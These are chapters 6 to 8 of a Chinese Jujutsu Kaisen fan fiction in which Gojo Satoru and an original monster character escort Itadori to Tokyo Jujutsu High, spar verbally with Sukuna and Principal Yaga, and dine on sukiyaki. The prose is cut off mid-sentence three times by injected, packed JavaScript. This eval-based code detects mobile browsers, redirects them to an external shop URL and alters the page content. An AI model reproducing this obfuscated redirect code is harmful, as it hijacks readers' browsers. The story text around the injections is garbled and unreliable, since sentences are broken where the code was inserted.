这样漆黑的、甜美的睡眠,多久没有过了?他睡眼惺忪地伸了个懒腰,又抓了两把被压得乱七八糟的头发,简直就是猫咪起床后伸懒腰舔毛的翻版。他做完这一切才直起身子,靠在陈潺肩膀上的侧脸被压出大片红痕,在白皙的皮肤上尤为显眼,恍如血撒在雪地里。
多么漂亮的对比。
肉红与纯白的反差精准戳中了怪物的审美点。五条悟转头刚想感谢对方让他靠了一路,就被那双紫瞳里的着迷撞得困惑不已——到底在喜欢什么?浑身都散发着「今晚想吃生鱼片」的信息,把我的脸当饭吃了吗?
他张开嘴唇,本来准备好的词句在这种气氛里压根派不上用场。干脆不要客套了吧,五条悟扫了一眼前座的状况:虎杖悠仁正放松地睡着,兜帽盖住少年的大半张脸;伊地知则一脸「这不公平!」的愤怒,啊呀,车速也在这股无名火的撺掇下飙得很高呢。
腹稿慢慢地融合成一个向上的弧度,白发术师勾唇笑道:“大家都安全地进入东京了,做得很不错啊,晚上请你吃生鱼片。”
反转术式将皮肤修复如初,类似惊艳的狂潮从那双注视着自己的眼中褪去。陈潺点点头,又摇摇头。
“不,跟我没关系。”他很惋惜,“虽然我很想领下这份功劳,但我什么都没做。咒灵感知到你,才不敢靠近我们。”
“但我睡着了呀。”
陈潺不太理解地歪了歪头,他这个动作还是跟五条悟学的。但意外得看不出模仿感,反倒能让人幻视某种经过专业训练的犬类。
“如果你是因为,我没有在你休息的时候加害他们才感谢我,那你更应该谢谢你自己。”犬类一脸平静地把成年人之间的机锋撕烂,语气平淡得就像在聊天气是晴是雨,“你很强大,睡着了也一样,很少有人会赌命。”
“但是总有人会赌,你不也是这样的人吗?”五条悟坐正没一会,又靠了回去——陈潺穿得衣服很厚,枕着并不如他嘴上抱怨得那么难受,但再胖一点会更好。他暗自决定以后要多让陈潺坐他的车或者陪他坐车——从来没有遇到过身高这么适配他的人!高度对老师的颈椎非常有利。
他不介意陈潺掀翻棋盘的讲话方式,五条悟自己就更喜欢有话直说。在直球系谈判这个赛场上,除了疯狂摇尾巴的狗狗没有人能赢过五条老师——啊,好想养狗,等未来乙骨他们陆续成长起来了,等未来变得有空一些,就养只小狗吧,届时放在高专里,出差的时候就让校长照看它!会缝制娃娃的大叔肯定也能很细心地照料小动物吧?
“况且你也很强啊。”能在六眼之前发现那个诅咒。
陈潺没说话,又示意他看向天空。苍蓝色的咒力残秽在东京上方的结界表面若隐若现,怪不得咒力追踪没有传来任何消息——
“我并不在这个国家长大。”外来术师说,“不熟悉结界的气息,才会误打误撞地比你敏锐一些。五条,这个世界上不会有人能越过你。”
五条悟伏在他身上,低低地笑了出来。不为对方偏移的话题,而是自己的未尽之言有被捕捉到。况且,他的愿望真的有在被对方践行着,要知道那只是一个想法而已——人类的想法最多了。诚然,陈潺对他还不到和盘托出的程度,但愿意为了他去改变,就已经很惊喜了。
“这是安慰吗?”他问,“你是在说那个诅咒吧。提问,它为什么会在结界上?请以外国人的视角替我这个土著解答,不准出现语法错误。”
“这是事实,但私心希望它能起到安慰效果。”陈潺依次回复,“不太清楚,但我认为它与天元无关,应该是更高的东西。”
“更高的,外星人吗?”
外星人一词令陈潺眉头紧锁,他想起那篇莫名其妙的续作,以及当初怀揣一丝希望期待续作里会有五条悟戏份的自己。
这种负面情绪不能传递给五条悟。他缓慢地深呼吸,语调平稳如常。
“也可能是天空。”因为外星人在六十年之后。
6. 家校联谊(6)
五条悟没再就这个话题继续聊下去,毕竟离「天」最近、又与「天」经常打交道的是天元,与其坐在高速行驶的汽车里胡乱猜测,还不如有空去薨星宫问问祂。
白发术师开始收尾:“其实我的直觉告诉我,「天」没有恶意。但没有恶意的东西不会以诅咒的姿态出现,除非这个世界的本质是地狱。估计是内部有麻烦的咒灵诞生了——你知道「内部」是什么吗?”
说到此处,又停顿一下:“不过,也可能是内鬼。总之日后防备一下,你会帮我的忙吧。”他用肯定句问陈潺。
当然知道,是围绕、聚集在总监部首座的派系。
以陈潺跟咒术高层们打交道的经验,或许京都校也被囊括其中,那里是守旧派的大本营。这算提前把机械丸抓出来吗?不过时间线倒也吻合,那个残废跟反派刚联系上吧。
这可不能算执行官干涉角色命运啊,他只是提醒五条悟「天」的存在——本地人并非看不见它,只是难以注意到。五条悟太熟悉它的存在了,熟悉到即使看见,也不会察觉异样。
五条悟注意到了本就存在的东西,并通过它推测出内鬼的可能性,这完全是悟太聪明吧?
陈潺无视了诅咒传来的,不忿的嗡鸣,相当愉快地在心底赞美一番白发术师的聪慧。当然,表面上的欣赏与赞成也毫不掩饰。陈潺无声地鼓掌,动作又轻又缓,他并不想颠簸到五条悟。
“我会永远站在你这边——”
这句话成功取悦到白发术师,喉管里滚出猫科动物打呼噜一般的笑声。圆滚滚的、咕嘟咕嘟的,成熟人类男性的嗓音。它令怪物的半个魂魄被卷进毛线团中——也可能是猫咪的长毛里,如果他略微侧脸,白色发丝真的能扫在他的脸颊上。
怪物魂不守舍地将下半句拼凑完整,语法乱七八糟,还夹杂了几个五条悟完全没在人类社会听过的音节,虽然很短促,但颇像咒灵才能发出的动静,黏腻得能比肩酷暑雨后的空气。这令术师的笑声暂歇,困惑地“嗯?”了一声。
“——即使我们身处地狱。”
“......”白发术师检查了一下陈潺的喉咙,确认里边没有钻进去咒灵之后才开口,“听起来是可靠的大人呢。陈潺,要活久一点啊。”
也听不出来他信还是没信,反正怪物当他信了。
陈潺一副对神宣誓的口吻:“我不会死的。”
“差点忘了,你可是四千岁的老爷爷。”
五条悟重新发出笑声,这次是恶作剧得逞的、顽童一样搞怪的嗓音。因为陈潺真心实意地垂头丧气起来——当然,在他眼里没有人真能活四千年还能若无其事地四处闲逛,就连不死的天元都要定时同化「星浆体」呢,对方开玩笑开得真有水平,是外国的表演流派吗!
真有意思,不过还是排查一下真情流露的可能性吧?哭相太逼真了啊——
“真的在难过?抱歉抱歉,再也不叫你老爷爷了。”
连续两句“抱歉”狠狠触动了陈潺的底层逻辑:五条悟不会犯错,错的只能是其他人。但五条悟道歉的对象却是自己?
怪物的运行逻辑卡顿了一瞬,最终得出结论:自己错了,不应该跟短生种一样计较年龄。
他紧紧闭上眼睛,复又睁开,紫得发黑的虹膜已然恢复原本清明的色彩。
“你没有错,是我骗了你,对不起。”陈潺一清醒就给自己讨要奖励,“其实我30岁,你可以叫我哥哥、学长也行,虽然我并不就读于高专。”
早已被归还听觉的、正在分心驾驶的伊地知:“......”
神明啊,听完全程的他还能活过今天吗?
■
其实五条悟那句颇具黑暗风味的玩笑话,正好戳中了怪物对这个位面的看法。
陈潺真心认为咒术世界就是一场愚昧的、人造的地狱。因为作者既狭隘又缺乏想象力,连作恶都不敢彻底,只会偷偷摸摸地躲起来恶心人。
所以这个位面的天道长成诅咒的样子,陈潺是毫不奇怪的。
只是有些恍然大悟,怪不得他每次想做点什么的时候,对方开价这么高,贪婪是恶人普遍的品性。不过再高的金额对于执行官的资产而言也是九牛一毛,也就任其自然了。
但是——
“我不太喜欢悟被窥视啊。”
趁着等待五条悟回答的空隙,诞生自负面概念的怪物试着跟诅咒礼貌沟通。
无视后者被吓得瑟瑟发抖的样子吧,陈潺还真没有想吓唬对方的意图。只是某种意义上来讲,他们能算同族——陈潺是本家、是一切的发端与源头,诅咒顶多是一个丢失姓氏的旁支,畏惧同样也是刻进骨子里的本能。
悟怎么还没有回答?他完全没有把诅咒放在眼里,只一门心思揣摩身旁陷入沉默的咒术师。仿佛一条野性难驯的犬类,咬断落单羊羔的喉管之后,夹着尾巴回到沉默不语的主人身边。
五条悟终于说话了,语气轻快地问他晚餐想吃什么,好像刚才的话题不存在一样:“寿司?寿喜锅?烤肉?海鲜刺身?无论什么都可以请你哦,最昂贵的鱼片也能让你吃到撑。”
“......寿喜锅。”
既然五条悟不想聊,他也权当之前的话题不存在,且不后悔自己说过的话——这是早晚要被摆上台面的私心,如果对方不喜欢,他不再提及就是。但知情权是必须要给的,这是坦诚的一环。怪物并不认同谎言的好坏区分,谎言就是谎言,五条悟想要信任他,他绝不敷衍。
“确定吗?我常去的店会比较甜哦。”
“没关系,我是半个甜党。”
寿喜锅的口味偏甜,陈潺习惯吃甜口。
喜欢谁就会下意识地模仿谁。
他更是有意识地模仿五条悟——为了两人相遇时能吃到一块去。至少,在尝到五条特制版超甜食物时,不要露出很难看的表情。不要让悟感觉自己是被迁就的。
迁就是善意的债务。债主会摆出纵容的态度,让你忽略偿还时将付出多么惨重的代价。
他要做他的同好。他要去喜欢五条悟喜欢的一切,发自内心地喜欢——这样五条悟就不是被他包容着、受他恩惠的,而是被自然而然理解着、陪伴着的。
就算不是发自内心?那也没关系。
执行官很擅长驯服自己,就像他擅长把肢体碎片做成小玩意儿一样。
长年累月地重复做一件事,身体会比灵魂先习惯它。陈潺深谙此道。
“那么,等悠仁的入学申请完成之后,一起去,年轻人吃点糖对牙齿好。”五条悟戳着手机,“如果惠醒过来,就也捎上他——你知道惠是谁吧?”
“嗯,禅院家的。不过辅助监督提醒过了,我会称呼他伏黑。”
陈潺一边给伊地知刷表现分,一边打开光屏。
系统的眼珠还在。他熟练地将它拆解,再重组成一个屏蔽器,遮住天道投下来的视线——原理类似人看不见眼睑下的事物。但是很小,堪堪遮住五条悟。
没办法,一只眼睛太小了,只能覆盖一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288085|198459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个人。
早知道把两只都挖下来好了。
“伊地知——很贴心!奖励你一个许愿的机会。”五条悟立马探身到前座去,虎杖还在睡,他就在司机耳边轻轻地、拖长音调道,“但不保证兑现哦。”
被留在原地的陈潺:“......”
他本意只是获取一点五条悟身边人的好感,届时能被多说两句好话,而不是让五条悟去夸别人。怪物不太乐意地扭头,车窗外的树木、楼房,目之所及的一切都在高速后退,看得他心烦意乱,于是向天空看去,色彩又不如苍蓝之瞳纯粹——什么东西都不如五条悟好。
汽车拐过一个弯。城市消失了,连绵的山取代了它。
他不再看了,烦躁地、轻轻地碰了碰对方的衣角。脑袋伸在前面,正手舞足蹈地描绘着什么的咒术师似有所感,话头刹住,视线从衣角滑到陈潺紧绷的脸上。半晌,对方也轻轻地笑了出来,一切都发生在细微的动静里,落针可闻。
唯有心跳如雷贯耳,震得灵魂嗡嗡回响。
怦怦,陈潺嘴唇紧抿;怦怦,又垂下眼帘。
“学长、前辈——你要饿哭了吗?”五条悟夸张地叹气,又靠回来,很随意地念出让所有醒着的人都瞳孔地震的称呼,"忍一忍,马上就到了。"
■
车子驶出城区之后,窗外的景色就变了。
高楼被甩在身后,取而代之的是连绵的山影。道路开始蜿蜒,偶尔有树枝擦过车窗,发出细碎的刮擦声。阳光被切割成一块一块的,透过枝叶的缝隙落进来,在五条悟的白色发丝上跳跃。
陈潺盯着那些光斑看了很久。
它们落在五条悟的肩膀上、手背上、眼罩的边缘,随着车子的行驶不断变换位置。有一块光正好停在他的唇角,随着他说话的动作微微颤动,像某种活着的、温热的、想要触碰的东西。
他移开视线,看向窗外。
树很多。多得遮天蔽日,挤挤挨挨地站在山路两侧,枝干虬结,叶片层层叠叠地压在一起。但阳光轻而易举地穿透了它们,这让环境的光暗分割十分明显,是执行官钟爱的对比色。
悟应该会喜欢这里?猫咪都喜欢这种地方。
——当然,前提是不用步行。
所以。
他们到底、为什么要放弃汽车?
他决定一会去问问校长,这所撑死都没有十个学生的学校,不让开车是怕撞死空气吗?
伊地知已经被安排去休息了。现在只剩下三个人:活力满满的少年漫主角、活力满满的少年漫主角的老师、对现状并不满意的他自己。
虎杖悠仁没来过东京,对这座城市的印象只有奢靡与繁华。如今见到与想象中截然不同的一面,不免疑惑。
白发教师倒是很耐心地给他讲解,不仅回答东京,还回答伏黑惠的现状——虎杖很关心这位仅有一面之缘的同龄术师。
陈潺知道这是在过剧情,他坠在五条悟后边,漫不经心地默数对方踩了几个光斑。直到树木稀疏,视野突然开阔,他听到虎杖悠仁“哇”了一声,但原作没写这里还有个语气词。
几栋低矮的建筑散落在山坡上,灰瓦白墙,檐角微微上翘,像某种沉静地蹲踞着的兽。周围没有围墙,只有几根刻着符文的石柱零散地立着,上面缠着褪色的绳结。再往外,就是无边无际的山林,层层叠叠地铺向远方。
两排石塑佛像竖在两侧,满脸笑意地望着来者。
——东京都立咒术高等专门学校。
7. 家校联谊(7)
“原来你不是头领吗。”
饶是最强也没能料到,这位还没通过入学申请的新生居然能发出成年男性的声音。苍天之瞳在黑布下倏然睁大,他回头望去,少年侧脸上赫然多出来一张牙齿锋利的、诅咒气息浓厚的嘴。
“又是以资历排序吗?真是无趣。”
——啊,陈先生倒是不惊讶?
五条悟压根没理会宿傩。他无所顾忌地用视线绕了这两个跟在他身后的家伙一圈,反正有黑布遮掩,没人能知道他的目光究竟落在何处。
好消息:醒着的还是虎杖悠仁,宿傩只是长了张嘴。
坏消息:陈先生又在走神。
好歹这也是诅咒之王,打起精神一点嘛——
虽然真出事了,最强、最靠谱的老师也能妥善收场,但……
紫色眼球中,咒术师的身影越来越大。五条悟站到陈潺身前,一种微妙的、保护者的姿态,这让后者有些愣神。紧随其后的巴掌声更是让陈潺皱眉。怪物不喜欢噪音。
虎杖悠仁力道极大地扇了自己一掌,把宿傩的嘴按下去:“抱歉,老师!他偶尔会冒出来。”
哦,剧情走到这里了。
陈潺面无表情,他刚才忙着想晚餐喝什么饮料,那种既便宜又容易变胖的饮品。
虽说货币既不珍贵也不稀缺,但毕竟是五条悟请客,他见不得对方有损太多。
然后,现在是什么状况?
他不解但顺从地往五条悟身后缩了缩,他们身高相似,体型却大有区别,执行官也就比一把骨头强些,刚好能站在白发术师背后的阴影里。
虎杖的动作…好像是第一次捂嘴的场景,宿傩已经说话了?真糟糕。
执行官打心底里烦这个畸形种——哦,别误会,这绝不包含任何歧视的意味。宇宙中有许多脱身于原物种、又区别于原物种的家伙,它们被统一称为畸形种。
毕竟是真的畸形。
执行官按了按眉心,试图让烦躁稍微降低一些——他讨厌一切不围绕五条悟的情绪,即使他烦宿傩的本质是因为那个结局——不要回忆它,冷静、冷静,五条悟还在你身边,他就在你身前,冷静……,睁开眼睛,他还好好地活着呢,不是吗?他还在向你伸手呢……等等,向我伸手?
陈潺猛然回神,唇边的异物感顶得紫瞳泛出迷茫之色。
“张嘴。”五条悟说。
那是一颗糖。
气味甜得发腥,是自己曾送出去的。
陈潺缓缓地、僵硬地用牙齿咬住它,就像狗被赏赐了狗肉。但他忠诚地把它含在嘴里。
旋即模糊不清地问:“你不喜欢这块糖吗?”
五条悟一副被无语笑的表情。
“你的状态很不对,我以为你低血糖犯了,救命要紧。”
白发术师手掌一翻,变魔术似的把那张天空色的糖纸展现在对方面前:“你看,这个我就留着了。它和我眼睛的颜色有几分像,很漂亮,我喜欢它。”
——他喜欢。怪物迅速捕捉重点。
陈潺立刻恢复利落,他迅速从兜里翻出来一把糖,这次是闪烁着白银色泽的包装。他把它们捧在手心里,紫眼睛一眨不眨地等待五条悟从中挑拣、或者全部收下。
A方案、B方案,选哪个呢?
当然是选C方案。
五条悟把它们又装回去,刚张嘴想说点什么,却被宿傩抢先。
“我还欠你一次呢,咒术师。”
诅咒之王并不友善地打破他们的友好交流:“等我占领了小鬼的身体,第一个就杀了你。”又意味不明地笑了一声,“第二个杀你的走狗。”
谁的走狗?走狗是谁?
在场三个具备人形的人,有两个都愣在原地。老师与学生互相对视一眼,确认彼此并没有那种关系后,监护人从善如流地认领了这个身份。
这也是五条悟第二次见到对方「陈先生」的一面。
传闻中喜怒无常的、总监部身居高位的……
黑发男人以手掩唇,嘲弄便从未被遮挡完全的嘴角与眼尾里流出,怪物睥睨着、蔑视着人类的话语,一如千年前踩在畸形种脊背上的恶意。糖块在嘴里化成温热的血,染得陈先生舌尖猩红,吐出来的也是裹满腥气的字。
“成为一个好人的追随者,是非常幸福的事。真可怜,你理解不了。”他说,“毕竟你是一个贪生怕死的畸形种。”
■
幸福、贪生怕死、畸形……每一个词都在诅咒之王的雷点上狂踩。
五条悟双手插兜,了然地勾起唇角。
原来陈潺还是抗伤兼攻击型的战士类型——不仅抗下走狗的蔑称,还利用狗的身份狠狠撕下宿傩脆弱心灵上的一块肉,真有意思。
他看向那只嘴巴,虎杖悠仁配合地把手举高了一些。
啊,差点忘了,这个也很有趣。
“这一代年轻人可真有意思啊。”白发术师叹息似的说。
■
“不成气候的小喽啰,真是聒噪。”诅咒之王也不甘下风,看似随意实则怨毒道,“我改主意了,我会第一个杀你,在你主子面前割掉你的头。”
“你还是先过入学这关吧,不然先死的是你。”陈潺说,“没吓坏吧?你好像一听到立即死刑的消息,就出来煽风点火了。”
宿傩不会说废话。
他突然跑出来质疑咒术师的领导排序,也绝不是偶然。
“——毕竟,只要他当上首领。”陈潺指向白发术师,“虎杖悠仁就不会有死亡风险。”
■
直到站在校长面前,虎杖悠仁才从监护人的话中脱身出来。
他看向身边佩戴眼罩的白发男人,第一次有了「我的命是这个人救下来的、我的死活与他息息相关的」真实感。
怪不得监护人那么严厉地跟说,要把五条老师放在前面。
虽然五条老师已经跟监护人贴到一起去了……
他把目光从角落里窃窃私语的两个人身上收回,面前却是更惊骇的景象:
有个大叔正在缝制玩偶!身边甚至还堆了一圈已经做好的玩偶!
但这里很明显不是乱想的场合。虎杖刚收起思绪,玩偶大叔的指责就又让可怜的少年心里惊涛拍岸,原来校长还是不近人情的严厉型长辈吗?那还不如让他被监护人训斥呢,至少陈潺说得都很有道理。
唯一幸运的是,玩偶大叔没有指责自己。
真正被指责的五条悟发出一个不解的气音。迟到八分钟而已,有什么需要特意拎出来敲打他的必要吗?尤其是在新生和陈潺面前。
“好歹也是在众人面前,就不要说我啦。”五条悟说,“对不对?”用手肘拐了一下陈潺。
跟想要责怪你的人说事情原委、你遭遇多少辛苦、说你有多么委屈,是不管用的。
所以五条悟才没有辩解,因为真相已经毫无意义。
夜蛾正道和他认识这么多年了,难道还不知道他有多忙?就不提他和老头子们连夜争执了,单说虎杖悠仁——对方刚醒,他就带着来高专了,全程没有一点耽搁——还要他怎么做?
白发术师微微叹气,上了年纪的老人家就是难伺候。
这事对于五条悟而言,叹口气也就过去了,他从来不在意这些。
但怪物最是不依
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288086|198459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不饶的,陈潺只会想得比他更偏激。
——正是知道,才要打压,让你认为你没做好、做得远远不够;让你以为理想遥不可及。
正如麦草挂在驴的嘴吻前,再责怪驴跑得不快。
跑得快不就能吃到了吗?吃不到是你咎由自取。都是你不听我们的话,都是五条悟的错。
陈先生脸上的怨气比被责备的人还重,此前一直在忍耐,现在终于接到五条示意——他是礼貌的、懂得克制的走狗,不能咬五条不想让他咬的人,除非忍不住。
插一句题外话,执行官本人非常满意走狗这个称号。
“听起来,东京校似乎遇到了管理难题,夜蛾先生或许需要几位更得力的下属,恰好我那边有些才能还不错的术师。”陈先生慢条斯理地说,“正好我还是虎杖的监护人,这样做也方便照看,你意下如何?”
不是认为五条悟做得不够好吗?那我送几个培训得当的卧底过来,你挑挑顺眼的吧。
夜蛾正道的脸色立马破裂,藏在墨镜后的眼睛狠狠盯住陈潺。
怪物则微笑着,嘴唇翘起,露出一点尖齿。
“你生气了?”他故意不用敬词,“请别介意,这只是一句玩笑话。”赶在夜蛾正道回复前把话头拉回。
对方毕竟是五条悟的班主任,据说关系也还不错,陈潺不敢真撕破脸——万一五条悟因此对自己印象不好怎么办?过分的维护只会适得其反:“真正会进入高专的只会有虎杖悠仁一位。”
“但愿如此,先生。”校长脸色漆黑。
看不出年龄的黑发男人回以一个毫无变化的微笑。
他走向虎杖悠仁,装模作样地安慰道:“不用太紧张,你很有当术师的天赋,五条的眼光不会错——竭尽全力就好,我们就在你身后。”
突如其来的温情吓了少年一激灵。要知道这位监护人从来没正眼看过他,他主动示好还反被对方教训一顿,有异常!虎杖悠仁无措地看向五条悟,在竭尽全力通过入学考试之前,先竭尽全力用眼睛传递求救信号:五条老师!
五条老师双手插兜,似笑非笑地点点头,又摇摇头。
有「束缚」存在,陈潺是不可能害虎杖的。不过那孩子,无意间成了陈先生的表演道具吧?看起来好好玩的样子......想到就要立刻做!NICE GUY五条老师就是这样的行动派!
眼罩下的苍天之瞳骤然亮起,他也凑到学生与伙伴身边,捧着心脏、掐出哭腔:“看到你们情谊如此深厚,身为老师真是止不住落泪!”紧接着话锋一转,“别这副表情嘛,陈先生说得又没有什么不对——我们就在你身后,你不会死的,轻松地步入地狱吧。”
咒术师抬手,覆在少年的头顶上。骨节分明、形状修长的手陷入粉色发丛中,压出柔软的凹陷。只有陈潺不太愉快:“一视同仁。”
于是另一只手伴随着笑声,也压在黑发上。五条悟狠狠地搓了两下黑色发丝,这导致陈先生的发型被弄得一团糟,粉头发倒是没什么变化。
突然被两个长辈亲近,虎杖悠仁倍受鼓舞地挺起胸膛,气势汹汹地——朝校长鞠躬,大声自我介绍起来。五条悟含笑看着这一幕,手指又在黑发里穿梭。
刚才他用的力气不小,好几处都打结了,这很影响成年人的形象。作为负责任的咒术师,他有义务帮忙让它们恢复如初——有点困难,但至少不要团在一起吧!
“下次还一视同仁吗?”五条悟捏了根被拽断的发丝,在陈潺眼前晃。
“……不。”
怪物眉头紧锁,脸色跟Panda身上的黑毛有得一比。
“下次只摸我。”
8. 家校联谊(8)
黑发男人似乎对抚摸有极其深重的执念。
新生都通过入学测试了,五条悟的手还被扣在头顶上。
在得到沉默的纵容之后,走狗大胆地扣住主人的手腕,令自己始终处于被抚摸的状态。陈潺相当满足地眯起眼睛,五条悟也不动弹——对方没有要他动作的愿望。
白发术师的手与视线就这么被分割开:他望着不远处被当成沙包狂揍之后、抱着咒骸在地上喘息的少年;但总有一寸皮肤留给陈潺。
真奇怪,不是吗?
人与人之间彼此都会保持距离,无论小孩还是大人,都会或天性或规范地空出间隔,就像他的术式。
无下限会替他挡住攻击;间隔则会帮助人们保护心脏,令大家不受损伤。
但身边的人却不遵守这条规则。
六眼忠实地向五条悟反应着一切:陈潺正在以抹消「对五条悟的间隔」为代价,换取他的青睐——各种形式的青睐。
偶尔他觉得这家伙很好满足,一个「想要信任」的愿望就能哄的他团团转;偶尔又很麻烦,他的手都要端麻了——好吧,虽说这是不可能的,最强不会因为这点小事就难受——但是也太久了。
他们好歹是均龄29岁的成年人啊,真的很奇怪。
——连夜蛾正道都用那种眼光看着他,复杂的、惊惧的,好像他做了什么非常恶劣的事。
五条悟无辜地回望过去,后者佯装忙碌地咳嗽两声,低头继续缝制怀里的玩偶,也不再指责迟到和容器的事了。
但那道意味难辨的目光,还是留在了五条悟心里,无声的谴责比指责更重。
是因为宿傩吗?
还是要责怪他把高专当成危险儿童收容所,就像之前对方在短信里抱怨的那样?
「去年是里香,今年直接把容器拽进来……悟,你究竟想干什么?这是引狼入室!」
「没关系,我会好好负起责任的。你就充当一个盖章机器,兼职手作叔好啦。我保证,不会影响到任何人。」
经此不懈努力,手作叔校长才终于松口。但这并不代表对方有多么支持他,只是祸不及己身,便随他去了。
再说了,在绝对不会波及到自身的前提下,收容这些实力超群的学生,对于校长的势力而言,也是只好不坏啊。
不过那毕竟是诅咒之王,五条悟也能理解老一辈们的顾忌,但还是那句话:已经知情的、没有必要责怪的事情,就不要再谴责他了吧?
“既然入学考试完美通过——我宣布,超赞超棒的寿喜锅时间开启!谁要报名?”
他的手腕轻松地从陈潺的挟制下脱身,转而搭在对方的肩膀上。拜托,总不能一直摸摸头吧。
“我我我!”
新生一下子就跳起来,丝毫看不出来此人刚才被咒骸揍得满屋乱滚。
白发老师“嗯嗯”点头:“OK,悠仁同学一位!校长呢?”
“你该先问问其他人的意见。”夜蛾正道意有所指,“我需要留在这里守着学校,免得其他术师不请自来,打扰学生们睡觉。”
在场一共四个人,夜蛾正道在暗指谁,无需多言。就连虎杖悠仁都能听得出来这中间的机锋,他默默站起来,躲到五条悟身后。虽然五条老师外表上有些随便,但却是这个世界里最有可能会拯救他的人,他已经深有感触。
至于监护人?他不可靠,而且马上要和校长打起来了吧?
怪物却没有像虎杖悠仁设想的那般回击。
他就跟没听见一样,自顾自地问询这位将手臂勾在他肩背上的男人:“你怎么不问我?”
腹稿全部被打断在即将说出的前夕,五条悟本来是想维护一下陈潺的,毕竟对方也是为了他,才对夜蛾出言不逊。
“成年人的竞争心?”一句调侃。
“是。”却收到非常认真的回答。
他没辙地牵了牵嘴角,报复性地手背贴在对方的脖颈上。六眼消耗能量巨大,这导致白发术师的手脚常年发凉,因为他的身体存不下多少能量来供暖。不过这也不是个例啦……干咒术师这一行的都暖和不起来,因为咒力本身就是一种负面的、阴冷的介质。
成为例外的反倒是陈潺,这个家伙看着单薄,但出人意料的暖和啊。
白皙指尖有规律地、一下一下地点按着颈动脉,血管的扩张与收缩都逃不过他的触感,说真的,这感觉很好——这令五条悟陡然生出一种野望:只是试图信任还不够。他想要对方真正处于他的控制下,成为他派系中的一员。
当然,肯定以及绝对不采用,老头子们那种肮脏的、卑劣的控制手段。他希望对方是既自由又忠诚的,是出于本心跟随他的——原来如此。白发术师恍然地想,他在那一瞬间记起许多人:离他渐行渐远的、回归正常人群的、与他反目成仇的;同学、家族、学生……尤其是那位死在他手下的叛徒。
我想要一场改革,需要强大又聪明的伙伴。所以我选择成为老师。
但如果、我想选择的伙伴不是我的学生呢?如果我无法教导他……又该用什么方式,令他跟随我?五条悟手指并拢,不自觉地捏住怪物的后颈,重重地揉捏。倘若在他身侧的不够强大,现在就是青紫一片、破皮流血了。
——陈潺完全理解五条悟追求强者的原因。
他神情自若地与黑布下的蓝眼睛对视:你看,我没有被你波及到。
——完全没有?
——完全没有。
“你是让寿喜烧在今晚出现的全部原因。”一句邀请,也可以说是默许。
五条悟用确保所有人都能听见的音量说,“就不要跟其他人争啦。”
其他人指的是谁,也不必言喻。虎杖悠仁倒是无所谓这个,这种大人游戏本来就不是他该参与的。少年完全清楚,他在这里只是一个NPC的作用,被踢过来踢过去都很正常。五条悟只要还在他身前,那他就是受庇护的。
深感被冒犯的大人冷笑两声。五条悟第一次发现,这位曾经的老师居然也能发出跟老橘子们差不多的动静。
“悟,你确定能够控制好他(あの人 )?”
在日文中,「あの人 」比常用的第三人称更柔和,是「那个人」的意思。夜蛾正道很少用这么柔软、礼貌的词语,虎杖悠仁也不值得他这么细心地对待——不是说那孩子资格不够的意思啦,而是这群咒术界的家伙们,只会用最难听的称呼赶紧诅咒他去死吧。
况且之前在信息里,夜蛾也是容器容器的叫啊。
五条悟笑起来,愈来愈畅快。他一把搂过陈潺的肩,两个人好兄弟似的贴在一起,脸几乎蹭着脸,摆出一切尽在掌握中的轻慢样子——也就是所谓「最强」的一面。
“啊,那当然。即使宿傩找回全部实力,我也会赢的。”
■
所以,陈潺选择靠近他,是想得到什么呢?
白天思索过的问题又回到五条悟脑中,但心境早已是天差地别。他需要找到能控制对方的方法,找到对方喜欢的东西,然后用事实告诉他:不论你之前是谁的派系、有过什么样的经历,都要跟随我——只有我能提供你最想要的,能给你最好与最多的。
我得让他知道,跟随我是有好处的,这样他才会一直跟随我。
他心不在焉地戳着盘中的牛肉片,裹满酱汁的牛肉在他的努力下被折出纸的褶皱。
外观丑陋,但胜在美味。
他混着米饭一起吃掉它,满足地捧着下巴,鼻腔里发出赞美的、拖长的音调。
这是漫画里吃到美味食物的少女才有概率发出的声音。出现在五条悟身上却一点儿也不违和,至少跟他一起吃饭的成年人是这么认为的。
经过烹制的脂肪与糖分在口中完美地融合在一起,汁水充盈肉质细腻……完美的晚餐!如果再甜一些就更不错了——“你好,可以额外提供一些白糖吗?”
即便遭到拒绝也仍然影响不了五条的好心情,猫咪哼着零碎的小调夹起新的肉片,每一寸都裹满鸡蛋液。上一片为了品尝最纯粹的酱汁,他都没蘸调料。就在肉片即将沾到舌尖时,一个冰凉的、玻璃材质的圆柱物碰了碰他的手背。
什么东西?
“言灵。”不紧不慢的男声解释道,并将瓶盖拧开。
——啊、是装在调味瓶里的白糖。
“这是我公寓里的,不存在任何法理风险,放心食用。”
言灵真的能做到这些吗?把远在天边的东西咻地一下传送到手边?
但就是做到了啊!
五条悟愉快地玩着自问自答小游戏,并随意撒了……无法计量
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 